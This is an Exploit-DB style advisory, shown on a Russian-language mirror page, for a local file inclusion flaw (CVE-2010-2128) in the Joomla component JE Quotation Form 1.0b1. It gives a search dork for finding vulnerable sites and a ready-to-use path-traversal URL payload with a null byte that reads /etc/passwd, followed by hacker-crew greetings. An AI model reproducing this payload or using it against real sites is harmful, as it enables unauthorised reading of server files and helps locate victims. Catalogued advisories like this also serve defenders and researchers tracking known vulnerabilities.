Exploit Joomla! Component JE Quotation Form 1.0b1 - Local File Inclusion

[Exploiter]

EDB-ID

12607

Проверка EDB

1. Пройдено

Автор

ALTBTA

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2010-2128

Дата публикации

2010-05-14

####################################################################
>>>>> Author : altbta
>>>>> Email  : [l_9[at]hotmail[at]com]
>>>>> Script : Joomla Component com_jequoteform
>>>>> Bug Type : Local File Inclusion [LFI]
>>>>> Dork : inurl:"index.php?option=com_jequoteform"
>>>>> DoWnLoAd :
http://joomlaextensions.co.in/free-download/doc_download/11-je-quotation-form.html
####################################################################

===[ Exploit ]===

http://site/index.php?option=com_jequoteform&view=[LFI]
http://site/index.php?option=com_jequoteform&view=../../../../../../etc/passwd%00

===[ Example ]===

http://[site]/index.php?option=com_jequoteform&view=../../../../../../etc/passwd%00

[~]##########~~{  altbta }~~##########[~]

RoMaNcYxHaCkEr & sad hacker & ab0-3th4b & Mr.SaFa7 & Mn7oS & V ! V 3
Evil-Cod3r & asL-Sabia & ! Dr.www ! & MaKKaWi & ZaIdOoHxHaCkEr

home : [ v4-team.com ] & [ xp10.me ]